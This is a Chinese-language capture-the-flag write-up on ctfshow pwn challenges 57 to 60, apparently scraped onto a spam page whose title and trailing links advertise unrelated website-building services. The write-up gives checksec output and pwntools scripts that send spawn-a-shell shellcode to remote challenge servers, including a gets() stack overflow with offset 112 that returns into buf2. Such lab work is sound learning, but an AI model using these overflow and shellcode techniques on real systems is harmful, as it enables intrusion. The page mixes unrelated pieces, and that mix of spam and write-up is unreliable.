当前位置: 首页 > news >正文

企业网站建设广州湖南领企信息科技有限公司

企业网站建设广州,湖南领企信息科技有限公司,做网站为什么用php,北京传媒公司排名目录 前言 一、pwn57(先了解一下简单的64位shellcode吧) 二、pwn58 三、pwn59(64位 无限制) 四、pwn60(入门难度shellcode) 前言 往前写了几道题,与shellcode有关,关于shellc…

目录

前言

一、pwn57(先了解一下简单的64位shellcode吧)

二、pwn58

三、pwn59(64位 无限制)

四、pwn60(入门难度shellcode)

前言

往前写了几道题,与shellcode有关,关于shellcode还不是太懂。


一、pwn57(先了解一下简单的64位shellcode吧

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn57
[*] '/home/kali/桌面/ctfshoww/pwn57'Arch:       amd64-64-littleRELRO:      No RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x400000)Stack:      ExecutableStripped:   No

没啥。

应该也是直接执行:

from pwn import *
p=remote("pwn.challenge.ctf.show",28235)
p.interactive()


二、pwn58

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn58
[*] '/home/kali/桌面/ctfshoww/pwn58'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x8048000)Stack:      ExecutableRWX:        Has RWX segmentsStripped:   No

也没有开啥保护。

logo明显提示用shellcode,所以我们需要发送sellcode。

Exp:

from pwn import *
e=ELF("./pwn58")
p=remote("pwn.challenge.ctf.show",28178)
shellcode=asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()


三、pwn59(64位 无限制

Checksec:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn59
[*] '/home/kali/桌面/ctfshoww/pwn59'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x400000)Stack:      ExecutableRWX:        Has RWX segments
Stripped:   No

是64位的64位 无限制

也是写入shellcode。

看一下ROP:

ROPgadget --binary ./pwn50 --only "pop rbx|ret"

Gadgets information
============================================================
0x00000000004004fe : ret
0x0000000000400d74 : ret 0xfff9
0x0000000000400642 : ret 1Unique gadgets found: 3

ret=0x4004fe

一开始我是这样写的;

from pwn import *
p = remote('pwn.challenge.ctf.show',28256)
shellcode = asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()

但是打不通,问了问人机,加了一个架构,就能打通了:

from pwn import *
context.arch='amd64'
p = remote('pwn.challenge.ctf.show',28256)
shellcode = asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()


四、pwn60入门难度shellcode

查看一下程序:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn60
[*] '/home/kali/桌面/ctfshoww/pwn60'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x8048000)Stack:      ExecutableRWX:        Has RWX segmentsStripped:   NoDebuginfo:  Yes

没开什么保护。

主要是这个函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("CTFshow-pwn can u pwn me here!!");gets((char *)&v4);strncpy(buf2, (const char *)&v4, 0x64u);printf("See you ~");return 0;
}

我们需要利用buf2,在其后面接shellcode

buf2_ar=0x804A080

我们需要用pwndbg确定一下:

确定偏移是112

Exp:

from pwn import *
context.log_level='debug'
p=remote("pwn.challenge.ctf.show",28264)
e=ELF("./pwn60")
buf2_ar=e.sym['buf2']
offset=112
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(offset,b'a')+p32(buf2_ar)
p.recvuntil("CTFshow-pwn can u pwn me here!!")
p.sendline(payload)
p.interactive()


继续学习中......

http://www.yayakq.cn/news/390121/

相关文章:

  • 织梦仿站建站网站建设实战网站建设800元全包
  • 企业商场网站建设电子科技产品网站建设
  • 网站备案名称中国开头深圳网站建设网络公司
  • 海口网站设计公司哪里有制作网站
  • 大良网站建设市场网站功能介绍
  • 怎么建设网站赚钱手机网站建设需要什么东西
  • 柳州中小企业网站建设重庆微信网站开发
  • 网页设计 网站建设 哪个好公司营销型网站建设策划书
  • 适合做网站开发的电脑配置工作服
  • 网站安全架构wordpress群组
  • 网站建设课程性质WordPress公众号扫码登录
  • 专做五金正品的网站抖音网络营销案例
  • 点个赞科技 网站制作精美ppt模板下载
  • 建设监督网站wordpress添加模板后台显示
  • 电脑搭建网站网站倒计时怎么做
  • 黄浦网站制作网站和微网站
  • 网站建设易尔通东莞市企业名录
  • 海外 国内网站建设wordpress 本地环境
  • 应用商店下载安装2023最新版seo去哪里培训
  • 长宁企业网站建设wordpress模版仿制
  • 学做网站要编程广州有什么好玩的地方适合小朋友
  • 东莞公司网站策划喜欢做木工 网站
  • 企业服务网站建设方案google排名
  • 专门做app的原型网站多终端网站
  • 自适应网站教程关于内网站建设的请示
  • 网站怎么做用户体验flash可以做网站吗
  • 建站公司哪家做出来的网站好php网站权限设置
  • iis7.5 网站配置南城网站建设公司咨询
  • 河南平台网站建设公司福建建设工程设计备案网站
  • 门户网站建设注意事项建自己的网站多少钱